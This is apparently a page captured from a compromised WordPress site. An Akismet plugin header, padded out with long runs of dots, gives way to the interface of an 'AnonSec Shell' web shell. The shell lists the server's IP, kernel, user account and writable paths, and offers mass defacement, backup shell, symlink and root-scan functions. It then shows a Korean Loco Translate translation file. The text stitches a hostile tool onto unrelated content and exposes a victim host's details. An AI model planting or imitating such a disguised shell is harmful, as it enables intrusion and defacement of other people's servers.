#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/loco-translate-ko_KR.po
# Translation of Plugins - Loco Translate - Stable (latest release) in Korean
# This file is distributed under the same license as the Plugins - Loco Translate - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-07-16 02:32:37+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: ko_KR\n"
"Project-Id-Version: Plugins - Loco Translate - Stable (latest release)\n"

#: tpl/admin/config/apis.php:146
msgid "Configured externally"
msgstr "외부에서 구성됨"

#: src/js/Strings.php:17 tpl/admin/config/apis.php:146
msgid "No API key"
msgstr "API 키 없음"

#. translators: %s will be replaced with a PO file name
#: src/admin/init/InitPoController.php:385
msgid "Copy %s instead"
msgstr "대신 %s 복사"

#: tpl/admin/init/init-copy.php:18
msgid "You can copy an existing PO file (recommended), or extract directly from source (advanced)"
msgstr "기존 PO 파일을 복사하거나 (권장) 원본에서 직접 추출할 수 있습니다 (고급)"

#: src/admin/init/InitPoController.php:396
msgid "You're creating translations from a POT file"
msgstr "POT 파일에서 번역을 만들고 있습니다"

#: src/admin/init/InitPoController.php:237
msgid "Copy PO file"
msgstr "PO 파일 복사"

#: src/admin/DebugController.php:929
msgid "String debugger"
msgstr "문자열 디버그 도구"

#: src/admin/config/BaseController.php:22
msgid "System"
msgstr "시스템"

#: src/admin/bundle/ViewController.php:152
msgid "Custom translations may not work without System translations installed"
msgstr "시스템 번역이 설치되어 있지 않으면 사용자 지정 번역이 작동하지 않을 수 있습니다"

#: tpl/admin/help/side-bar.php:6
msgid "Useful links:"
msgstr "유용한 링크:"

#: tpl/admin/bundle/setup.php:27
msgid "Current configuration as XML"
msgstr "XML로 현재 구성"

#: tpl/admin/bundle/inc-po-table.php:19
msgid "Strings"
msgstr "문자열"

#. translators: Author credit: (1) Product name (2) version number, (3) author
#. name.
#: src/package/Header.php:89
msgid "\"%1$s\" %2$s by %3$s"
msgstr "%3$s의 \"%1$s\" %2$s"

#: src/js/Strings.php:57
msgid "Check the translations marked with a warning sign"
msgstr "경고 표시가 있는 번역을 확인하세요"

#. translators: %s refers to a non-zero amount of errors detected. xgettext:
#. javascript-format
#: src/js/Strings.php:54
msgid "%s possible error detected"
msgid_plural "%s possible errors detected"
msgstr[0] "%s개 가능한 오류 감지됨"

#. translators: Result of validation when all strings pass validation
#: src/js/Strings.php:50
msgid "No formatting errors detected"
msgstr "서식 오류가 감지되지 않음"

#. Translators: Button that validates current translation formatting
#: src/admin/file/EditController.php:224
msgctxt "Editor"
msgid "Check"
msgstr "확인"

#. translators: %u is a number of files which were successfully deleted
#: src/admin/file/DeleteController.php:59
msgid "%u file deleted"
msgid_plural "%u files deleted"
msgstr[0] "%u개 파일이 삭제됨"

#: src/admin/bundle/SetupController.php:253
msgid "This bundle doesn't declare a domain path. Add one via the Advanced tab if needed"
msgstr "이 번들에는 도메인 경로가 선언되어 있지 않습니다. 필요한 경우 고급 탭에서 추가하세요"

#: src/admin/bundle/SetupController.php:250
msgid "The default \"languages\" domain path has been detected"
msgstr "기본 \"언어\" 도메인 경로가 감지되었습니다"

#. Translators: %s will be replaced with a relative path like "/languages"
#: src/admin/bundle/SetupController.php:245
msgid "The domain path is declared by the author as \"%s\""
msgstr "작성자가 도메인 경로를 \"%s\"(으)로 선언했습니다"

#: src/admin/bundle/SetupController.php:239
msgid "This bundle does't declare a text domain; try configuring it in the Advanced tab"
msgstr "이 번들에는 텍스트 도메인이 선언되어 있지 않으므로 고급 탭에서 구성해보세요"

#: src/admin/bundle/SetupController.php:235
msgid "This text domain is not in Loco Translate's bundle configuration"
msgstr "이 텍스트 도메인은 Loco Translate의 번들 구성에 없습니다"

#. Translators: This warning is shown when a text domain has defaulted to same
#. as the folder name (or slug)
#: src/admin/bundle/SetupController.php:229
msgid "This plugin doesn't declare a text domain. It's assumed to be the same as the slug, but this could be wrong"
msgstr "이 플러그인은 텍스트 도메인을 선언하지 않습니다. 슬러그와 동일하다고 가정하지만 잘못되었을 수 있습니다"

#. Translators: %s will be replaced with a text domain, e.g. "loco-translate"
#: src/admin/bundle/SetupController.php:222
msgid "WordPress says the primary text domain is \"%s\""
msgstr "워드프레스는 기본 텍스트 도메인이 \"%s\"라고 합니다."

#. Translators: Shown when a PO file's Plural-Forms header has a different
#. formula from the Unicode CLDR rules
#: src/Locale.php:500
msgid "Plural forms differ from Loco Translate's built in rules for this language"
msgstr "복수형은 이 언어에 대한 Loco Translate의 기본 제공 규칙과 다릅니다"

#: src/js/Strings.php:197
msgid "Mismatching placeholder type; check against source text formatting"
msgstr "플레이스홀더 유형이 일치하지 않음; 원본 텍스트 서식과 비교 확인"

#: src/js/Strings.php:186
msgid "Possible syntax error in string formatting"
msgstr "문자열 서식에 구문 오류가 발생했을 수 있음"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:194
msgid "Missing placeholders; source text formatting suggests at least %s"
msgstr "누락된 자리 표시자; 원본 텍스트 서식은 최소 %s을(를) 제안합니다."

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:190
msgid "Too many placeholders; source text formatting suggests a maximum of %s"
msgstr "자리 표시자가 너무 많음; 원본 텍스트 서식은 최대 %s를 제안합니다"

#: tpl/admin/file/head.php:10
msgid "Edit file headers"
msgstr "파일 헤더 편집"

#: tpl/admin/file/conf.php:23
msgid "Relative path to template file"
msgstr "템플릿 파일의 상대 경로"

#: tpl/admin/file/conf.php:57 tpl/admin/file/head.php:34
msgid "Save"
msgstr "저장"

#: tpl/admin/file/conf.php:48 tpl/admin/init/init-po.php:149
msgid "Merge strings from related JSON files"
msgstr "관련 JSON 파일의 문자열 병합"

#. translators: Summary of translations copied from a PO file during Sync
#. xgettext: javascript-format
#: src/js/Strings.php:40
msgid "%s translation copied"
msgid_plural "%s translations copied"
msgstr[0] "%s개 번역이 복사됨"

#: src/admin/config/ApisController.php:76
msgid "API URL"
msgstr "API URL"

#. translators: Where %s is any number of strings
#. translators: Shows total string count at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:191 src/js/Strings.php:109
msgid "%s string"
msgid_plural "%s strings"
msgstr[0] "%s개 문자열"

#. translators: %s is the quantity of files which were successfully moved
#: src/admin/file/MoveController.php:87
msgid "%s file moved"
msgid_plural "%s files moved"
msgstr[0] "%s개 파일이 이동됨"

#: tpl/admin/file/info-pot.php:31
msgid "%s word"
msgid_plural "%s words"
msgstr[0] "%s개 단어"

#: src/gettext/Compiler.php:280
msgid "PO file saved and MO/JSON files compiled"
msgstr "PO 파일 저장 및 MO/JSON 파일 컴파일 됨"

#. translators: %s refers to a JSON file which could not be compiled due to an
#. error
#: src/gettext/Compiler.php:148 src/gettext/Compiler.php:213
msgid "JSON compilation failed for %s"
msgstr "%s에 대한 JSON 컴파일 실패"

#: tpl/admin/config/version.php:74
msgid "Update Now"
msgstr "지금 업데이트"

#. translators: Where %s is the full version number of WordPress
#: tpl/admin/config/version.php:68
msgid "WordPress %s"
msgstr "워드프레스 %s"

#. translators: (1) Name of software, e.g. "WordPress" (2) Version number, e.g.
#. "5.6"
#: tpl/admin/config/version.php:53 tpl/admin/config/version.php:71
msgid "Your version of %1$s is out of date. We recommend you upgrade to at least v%2$s, but preferably to the latest stable version."
msgstr "사용 중인 %1$s 버전이 오래되었습니다. 최소 v%2$s 버전으로 업그레이드하는 것이 좋지만 가급적 안정적인 최신 버전으로 업그레이드하는 것이 좋습니다."

#. translators: Where %s is the full version number of PHP
#: tpl/admin/config/version.php:49
msgid "PHP %s"
msgstr "PHP %s"

#: tpl/admin/config/settings.php:162
msgid "Delete redundant files"
msgstr "중복 파일 삭제"

#: tpl/admin/config/settings.php:156
msgid "Pretty formatting"
msgstr "Pretty formatting"

#: tpl/admin/config/settings.php:145 tpl/admin/config/settings.php:151
msgid "Compiling JSON files"
msgstr "JSON 파일 컴파일"

#: tpl/admin/init/upload.php:50
msgid "Your file must be named as shown above where %1$s is the language code, e.g. %2$s"
msgstr "파일 이름은 위에 표시된대로 지정해야합니다. 여기서 %1$s은 언어 코드입니다. 예: %2$s"

#: tpl/admin/init/upload.php:45
msgid "Upload PO file"
msgstr "PO 파일 업로드"

#. translators: Indicates that POT files are optional, which is not recommended
#: tpl/admin/config/settings.php:107
msgid "Sync with source when template missing"
msgstr "템플릿 누락시 원본과 동기화"

#: tpl/admin/config/settings.php:99
msgid "Fuzzy matching tolerance"
msgstr "애매함 매칭 허용 오차"

#: tpl/admin/config/settings.php:89 tpl/admin/config/settings.php:95
msgid "Syncing PO files"
msgstr "PO 파일 동기화 중"

#: tpl/admin/help/side-bar.php:15
msgid "Info and tutorials"
msgstr "정보 및 튜토리얼"

#: src/ajax/ApisController.php:30
msgid "Need a human?"
msgstr "인간이 필요하십니까?"

#: src/ajax/UploadController.php:70
msgid "Your file is identical to the existing one"
msgstr "파일이 기존 파일과 동일합니다"

#: src/admin/init/UploadController.php:52
msgid "Upload a translation file"
msgstr "번역 파일 업로드"

#: src/admin/init/UploadController.php:29 tpl/admin/init/upload.php:58
msgid "Upload"
msgstr "업로드"

#: src/admin/bundle/ViewController.php:107
msgid "Upload PO"
msgstr "PO 업로드"

#. Translators: %s will be replaced with the name of a missing POT file
#: src/ajax/SyncController.php:55
msgid "Falling back to source extraction because %s is missing"
msgstr "%s이(가) 없기 때문에 원본 추출로 대체하는 중"

#: tpl/admin/bundle/inc-po-table.php:63
msgid "Move"
msgstr "이동"

#: tpl/admin/config/prefs.php:29 tpl/admin/config/prefs.php:33
msgid "Restrict locales"
msgstr "로케일 제한"

#. Translators: Button that opens window for auto-translating
#: src/admin/file/EditController.php:222
msgctxt "Editor"
msgid "Auto"
msgstr "자동"

#: src/js/Strings.php:171
msgctxt "Editor"
msgid "Suggest translation"
msgstr "번역 제안"

#: src/js/Strings.php:168
msgctxt "Editor"
msgid "Toggle Fuzzy"
msgstr "애매함 전환"

#: src/js/Strings.php:102
msgid "Keep this translation"
msgstr "이 번역 유지"

#: src/js/Strings.php:99
msgid "Loading suggestions"
msgstr "제안 로드 중"

#: src/js/Strings.php:90
msgid "Suggested translations"
msgstr "제안된 번역"

#: src/js/Strings.php:87
msgid "Use this translation"
msgstr "이 번역 사용"

#: src/js/Strings.php:84
msgid "Nothing needed updating"
msgstr "업데이트 할 필요가 없습니다"

#. translators: %s is the quantity of strings modified during a batch process
#. xgettext: javascript-format
#: src/js/Strings.php:81
msgid "%s string updated"
msgid_plural "%s strings updated"
msgstr[0] "%s개 문자열이 업데이트됨"

#. translators: 1: Number of strings; 2: Service provider; e.g. "50 strings
#. translated via Google Translate" xgettext: javascript-format
#: src/js/Strings.php:77
msgid "%1$s string translated via %2$s"
msgid_plural "%1$s strings translated via %2$s"
msgstr[0] "%2$s을(를) 통해 번역된 %1$s개 문자열"

#. translators: %s is the quantity of strings left unprocessed after a job was
#. stopped prematurely xgettext: javascript-format
#: src/js/Strings.php:73
msgid "Translation job aborted with %s string remaining"
msgid_plural "Translation job aborted with %s strings remaining"
msgstr[0] "%s개 문자열이 남아 있는 상태에서 번역 작업이 중단됨"

#. translators: %s%% is a percentage, e.g. 50% xgettext: javascript-format
#: src/js/Strings.php:69
msgid "Translation progress %s%%"
msgstr "번역 진행률 %s%%"

#. translators: characters meaning individual unicode characters of source text
#. xgettext: javascript-format
#: src/js/Strings.php:65
msgid "%s characters will be sent for translation."
msgstr "번역을 위해 %s개 문자가 전송됩니다."

#. translators: %s: the number of strings to be sent for translation xgettext:
#. javascript-format
#: src/js/Strings.php:61
msgid "%s unique source strings."
msgstr "%s개 고유한 원본 문자열."

#. translators: Message appears after sync operation, where %s refers to a POT
#. file. xgettext: javascript-format
#: src/js/Strings.php:44
msgid "Strings up to date with %s"
msgstr "%s의 최신 문자열"

#. translators: Summary of existing translations where the source text has
#. changed slightly xgettext: javascript-format
#: src/js/Strings.php:36
msgid "%s string marked Fuzzy"
msgid_plural "%s strings marked Fuzzy"
msgstr[0] "%s개 문자열이 애매함으로 표시됨"

#: tpl/admin/config/apis.php:160
msgid "See full disclaimer"
msgstr "면책 조항 전문 보기"

#: tpl/admin/config/apis.php:159
msgid "Third party services are subject to their own terms of use and may incur costs from the provider"
msgstr "타사 서비스에는 자체 사용 약관이 적용되며 제공업체로부터 비용이 발생할 수 있습니다"

#: tpl/admin/config/apis.php:157
msgid "Important"
msgstr "중요"

#: src/admin/config/ApisController.php:77
msgid "API region"
msgstr "API 지역"

#: src/admin/config/ApisController.php:75
msgid "API key"
msgstr "API 키"

#: src/admin/config/ApisController.php:12
#: src/admin/config/BaseController.php:20
#: src/admin/config/BaseController.php:40 tpl/admin/help/tab-config-apis.php:2
msgid "API keys"
msgstr "API 키"

#: tpl/ajax/modal-apis-empty.php:11
msgid "Add automatic translation services in the plugin settings."
msgstr "플러그인 설정에서 자동 번역 서비스를 추가하세요."

#: tpl/ajax/modal-apis-empty.php:9
msgid "No translation APIs configured"
msgstr "구성된 번역 API가 없습니다."

#: tpl/ajax/modal-apis-batch.php:29
msgid "Mark new translations as Fuzzy"
msgstr "새 번역을 애매함으로 표시"

#: tpl/ajax/modal-apis-batch.php:23
msgid "Overwrite existing translations"
msgstr "기존 번역 덮어쓰기"

#: tpl/ajax/modal-apis-batch.php:10
msgid "Auto-translate this file"
msgstr "이 파일 자동 번역"

#: src/admin/file/EditController.php:181
msgid "This is NOT a translation file. Manual editing of source strings is not recommended."
msgstr "이것은 번역 파일이 아닙니다. 원본 문자열의 수동 편집은 권장되지 않습니다."

#: src/fs/FileWriter.php:324
msgid "Modification of POT (template) files is disallowed by the plugin settings"
msgstr "플러그인 설정에 의해 POT (템플릿) 파일 수정이 허용되지 않습니다."

#: tpl/admin/file/move-pot.php:14
msgid "Enter a new location for this file"
msgstr "이 파일의 새 위치를 입력하세요"

#: tpl/admin/file/move.php:17
msgid "The following file will be moved/renamed to the new location:"
msgid_plural "The following files will be moved/renamed to the new location:"
msgstr[0] "다음 파일이 새 위치로 이동 / 이름이 변경됩니다"

#: tpl/admin/file/move.php:14
msgid "Confirm relocation"
msgstr "위치 이동 확인"

#: tpl/admin/file/move-po.php:14
msgid "Choose a new location for these translations"
msgstr "이 번역을 위한 새 위치를 선택하세요"

#: tpl/admin/bundle/alias.php:14
msgid "This plugin doesn't have its own translation files, but can be translated in the default text domain"
msgstr "이 플러그인에는 자체 번역 파일이 없지만 기본 텍스트 도메인에서 번역할 수 있습니다"

#: tpl/admin/config/settings.php:197
msgid "Editing of POT (template) files"
msgstr "POT (템플릿) 파일 편집"

#: tpl/admin/config/settings.php:81
msgid "Recommended"
msgstr "권장"

#: tpl/admin/config/settings.php:81
msgid "Enable Ajax file uploads"
msgstr "Ajax 파일 업로드 활성화"

#: src/fs/FileWriter.php:249
msgid "Parent directory isn't writable"
msgstr "부모 디렉터리가 쓰기 가능하지 않습니다"

#: src/ajax/FsConnectController.php:160
msgid "This move operation requires permission"
msgstr "이 이동 작업에는 권한이 필요합니다"

#: src/ajax/FsConnectController.php:127
msgid "This directory is managed by WordPress. Removed files may be restored during updates"
msgstr "이 디렉토리는 워드프레스에서 관리합니다. 제거된 파일은 업데이트 중에 복원될 수 있습니다"

#. translators: Page title where %s is the name of a file to be moved
#: src/admin/file/MoveController.php:111 src/admin/file/MoveController.php:140
msgid "Move %s"
msgstr "%s 이동"

#. translators: %s is the quantity of files which failed to be moved
#: src/admin/file/MoveController.php:92
msgid "%s file could not be moved"
msgid_plural "%s files could not be moved"
msgstr[0] "%s개 파일을 이동할 수 없음"

#: src/admin/file/BaseController.php:121
msgid "Relocate"
msgstr "위치 이동"

#: tpl/admin/file/move.php:24
msgid "Move files"
msgstr "파일 이동"

#: tpl/admin/errors/file-sec.php:14
msgid "Access to this file is blocked for security reasons"
msgstr "보안 상의 이유로 이 파일에 대한 접근이 차단되었습니다"

#: tpl/admin/errors/file-sec.php:11
msgid "File access disallowed"
msgstr "파일 접근이 허용되지 않음"

#: src/admin/bundle/ViewController.php:116
msgid "View template"
msgstr "템플릿 보기"

#: tpl/admin/config/version.php:18 tpl/admin/config/version.php:75
msgid "Install manually"
msgstr "수동으로 설치"

#: tpl/admin/config/version.php:14
msgid "A newer version of Loco Translate is available for download"
msgstr "최신 버전의 Loco Translate를 다운로드할 수 있습니다"

#: tpl/admin/help/side-bar.php:9
msgid "Official plugin page"
msgstr "공식 플러그인 페이지"

#: tpl/admin/common/inc-fsconn.php:28
msgid "File is protected by the bundle configuration"
msgstr "번들 구성에 의해 파일이 보호되었습니다"

#: tpl/admin/common/inc-fsconn.php:27
msgid "Read only"
msgstr "읽기 전용"

#: tpl/admin/config/settings.php:43
msgid "Scan JavaScript files with extensions:"
msgstr "확장자가 있는 자바스크립트 파일 스캔:"

#: src/admin/init/InitPoController.php:293
msgid "Assign template"
msgstr "템플릿 할당"

#: src/js/Strings.php:165
msgctxt "Editor"
msgid "Translated"
msgstr "번역됨"

#: src/js/Strings.php:162
msgctxt "Editor"
msgid "Untranslated"
msgstr "번역되지 않음"

#. translators: %s will be replaced with a URL which may change without
#. affecting the translation.
#: src/hooks/AdminHooks.php:92
msgid "Administrators and auditors may wish to review Loco's <a href=\"%s\">plugin privacy notice</a>."
msgstr "관리자와 감사자는 Loco의 <a href=\"%s\">플러그인 개인정보 보호정책</a> 검토를 원할 수 있습니다."

#: src/hooks/AdminHooks.php:89
msgid "This plugin doesn't collect any data from public website visitors."
msgstr "이 플러그인은 공개 웹 사이트 방문자로부터 데이터를 수집하지 않습니다."

#: tpl/admin/bundle/inc-po-table.php:54 tpl/admin/bundle/locale.php:66
msgid "View"
msgstr "보기"

#. translators: %s will be replaced with the full name of the user profile's
#. admin language
#: tpl/admin/root.php:17
msgid "Your admin language is %s."
msgstr "관리자 언어는 %s입니다."

#. translators: %s will be replaced with the full name of the site language
#: tpl/admin/root.php:14
msgid "The language of this site is %s."
msgstr "이 사이트의 언어는 %s입니다."

#: tpl/admin/list/locales.php:25
msgid "Site language"
msgstr "사이트 언어"

#: tpl/admin/list/locales.php:22
msgid "Files found"
msgstr "발견된 파일 개수"

#: tpl/admin/list/locales.php:16
msgid "Locale code"
msgstr "로케일 코드"

#: tpl/admin/list/locales.php:13
msgid "Locale name"
msgstr "로케일 이름"

#: tpl/admin/file/info.php:110
msgid "Files in this location can be modified or deleted by WordPress automatic updates"
msgstr "이 위치의 파일은 워드프레스 자동 업데이트로 수정 또는 삭제할 수 있습니다."

#: tpl/admin/file/info.php:107
msgid "WordPress updates"
msgstr "워드프레스 업데이트"

#: tpl/admin/file/info-mo.php:18 tpl/admin/file/info-po.php:24
#: tpl/admin/file/info-pot.php:21
msgid "File size"
msgstr "파일 크기"

#: tpl/admin/file/diff.php:17
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "다음"

#: tpl/admin/file/diff.php:14
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "이전"

#: tpl/admin/file/diff.php:6
msgctxt "revision date short format"
msgid "j M @ H:i"
msgstr "m/d @ H:i"

#: tpl/admin/errors/no-locale.php:11
msgid "No files found for this language"
msgstr "이 언어에 대한 파일을 찾을 수 없음"

#: tpl/admin/errors/no-backups.php:18
msgid "File backups are disabled in your plugin settings"
msgstr "플러그인 설정에서 파일 백업이 비활성화되어 있습니다"

#: tpl/admin/errors/no-backups.php:16
msgid "Backup files will be written when you save translations from Loco Translate editor"
msgstr "Loco Translate 편집기에서 번역을 저장하면 백업 파일이 작성됩니다"

#: tpl/admin/errors/no-backups.php:12
msgid "No previous file revisions"
msgstr "이전 파일 수정본이 없음"

#: src/admin/config/SettingsController.php:68
msgid "Disallow"
msgstr "금지"

#: src/admin/config/SettingsController.php:67
msgid "Allow (with warning)"
msgstr "허용 (경고 포함)"

#: src/admin/config/SettingsController.php:66
msgid "Allow"
msgstr "허용"

#: tpl/admin/config/settings.php:187
msgid "Modification of installed files"
msgstr "설치된 파일 수정"

#: tpl/admin/config/settings.php:181
msgid "Save credentials in session"
msgstr "세션에 자격 증명 저장"

#: tpl/admin/config/settings.php:170 tpl/admin/config/settings.php:176
msgid "File system access"
msgstr "파일 시스템 접근"

#: tpl/admin/common/inc-fsconn.php:56
msgid "Click \"Connect\" to authenticate with the server"
msgstr "\"연결\"을 클릭하여 서버 인증"

#. translators: Page title for installed languages page
#: src/mvc/AdminRouter.php:61
msgid "Languages &lsaquo; Loco"
msgstr "언어 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:59
msgid "Languages"
msgstr "언어"

#: src/fs/FileWriter.php:313
msgid "Modification of installed files is disallowed by the plugin settings"
msgstr "설치된 파일의 수정은 플러그인 설정에 의해 허용되지 않습니다."

#. translators: Where %s is a file name
#: src/ajax/DiffController.php:47
msgid "Revisions are identical, you can delete %s"
msgstr "리비전이 동일합니다. %s을(를) 삭제할 수 있습니다"

#. translators: Where %s is the name of the invalid POT file
#: src/admin/file/EditController.php:138 src/ajax/SyncController.php:72
msgid "Translation template is invalid (%s)"
msgstr "번역 템플릿이 유효하지 않습니다 (%s)"

#. translators: %s is a file name to be rolled back to a previous version.
#. translators: Page title where %s refers to a file name
#: src/admin/file/DiffController.php:59 src/admin/file/DiffController.php:78
msgid "Restore %s"
msgstr "%s 복원"

#: src/admin/file/DiffController.php:35
msgid "File restored"
msgstr "파일이 복원됨"

#: src/admin/file/BaseController.php:120 tpl/admin/file/diff.php:31
msgid "Restore"
msgstr "복원"

#: src/admin/bundle/LocaleController.php:145
msgid "See all core translations"
msgstr "모든 코어 번역 보기"

#: src/admin/bundle/LocaleController.php:138
#: src/admin/file/EditController.php:132 src/admin/file/EditController.php:183
#: tpl/admin/common/inc-fsconn.php:16 tpl/admin/common/inc-fsconn.php:41
#: tpl/admin/config/apis.php:167 tpl/admin/config/prefs.php:45
#: tpl/admin/config/settings.php:234 tpl/admin/errors/no-backups.php:22
msgid "Documentation"
msgstr "문서"

#: src/admin/bundle/LocaleController.php:137
msgid "No core translation files are installed for this language"
msgstr "이 언어에 대한 코어 번역 파일이 설치되지 않았습니다"

#: src/ajax/FsConnectController.php:130
msgid "Changes to this file may be overwritten or deleted when you update WordPress"
msgstr "이 파일의 변경 사항은 워드프레스를 업데이트 할 때 덮어 쓰거나 삭제될 수 있습니다"

#: src/ajax/FsConnectController.php:124
msgid "This directory is managed by WordPress, be careful what you delete"
msgstr "이 디렉토리는 워드프레스에서 관리합니다. 삭제시 주의하세요"

#: src/ajax/FsConnectController.php:121
msgid "This file may be overwritten or deleted when you update WordPress"
msgstr "이 파일은 워드프레스를 업데이트 할 때 덮어 쓰거나 삭제될 수 있습니다"

#: src/ajax/FsConnectController.php:163
msgid "Saving this file requires permission"
msgstr "이 파일을 저장하려면 권한이 필요합니다"

#: src/ajax/FsConnectController.php:157
msgid "Deleting this file requires permission"
msgstr "이 파일을 삭제하려면 권한이 필요합니다"

#: src/ajax/FsConnectController.php:154
msgid "Creating this file requires permission"
msgstr "이 파일을 만들려면 권한이 필요합니다"

#. Translators: Plural category for zero quantity
#: src/Locale.php:383
msgctxt "Plural category"
msgid "Zero"
msgstr "없음"

#: src/admin/init/InitPoController.php:377 tpl/admin/file/info.php:113
msgid "What's this?"
msgstr "이것은 무엇인가요?"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:18
msgid "largest is %s"
msgstr "가장 큰 것은 %s입니다"

#: tpl/admin/config/settings.php:68
msgid "Maximum line length (zero disables wrapping)"
msgstr "최대 줄 길이 (0은 줄 바꿈을 비활성화함)"

#. Translators: (1) Number of files (2) Maximum size of file that will be
#. included (3) Size of the largest encountered
#: src/ajax/SyncController.php:99
msgid "%1$s file has been skipped because it's %3$s. (Max is %2$s). Check all strings are present before saving."
msgid_plural "%1$s files over %2$s have been skipped. (Largest is %3$s). Check all strings are present before saving."
msgstr[0] "%1$s 파일은 %3$s이기 때문에 건너 뛰었습니다. (최대 값은 %2$s입니다). 저장하기 전에 모든 문자열이 있는지 확인하세요."

#: src/admin/bundle/ConfController.php:92
msgid "Child theme declares the same Text Domain as the parent theme"
msgstr "자식 테마가 부모 테마와 동일한 텍스트 도메인을 선언하고 있습니다"

#. Translators: General plural category not covered by other forms
#: src/Locale.php:393
msgctxt "Plural category"
msgid "Other"
msgstr "기타"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:391
msgctxt "Plural category"
msgid "Many"
msgstr "많음"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:389
msgctxt "Plural category"
msgid "Few"
msgstr "적음"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:387
msgctxt "Plural category"
msgid "Two"
msgstr "복수형형"

#. Translators: Plural category for singular quantity
#: src/Locale.php:385
msgctxt "Plural category"
msgid "One"
msgstr "단수형"

#: tpl/admin/config/version.php:28
msgid "You're running a development snapshot of Loco Translate"
msgstr "Loco Translate의 개발 스냅샷을 실행 중입니다"

#. Author URI of the plugin
#: loco.php
msgid "https://localise.biz/wordpress/plugin"
msgstr "https://localise.biz/wordpress/plugin"

#. Description of the plugin
#: loco.php
msgid "Translate themes and plugins directly in WordPress"
msgstr "워드프레스에서 직접 테마 및 플러그인 번역"

#: src/admin/bundle/LocaleController.php:155 tpl/admin/root.php:58
msgid "See all plugins"
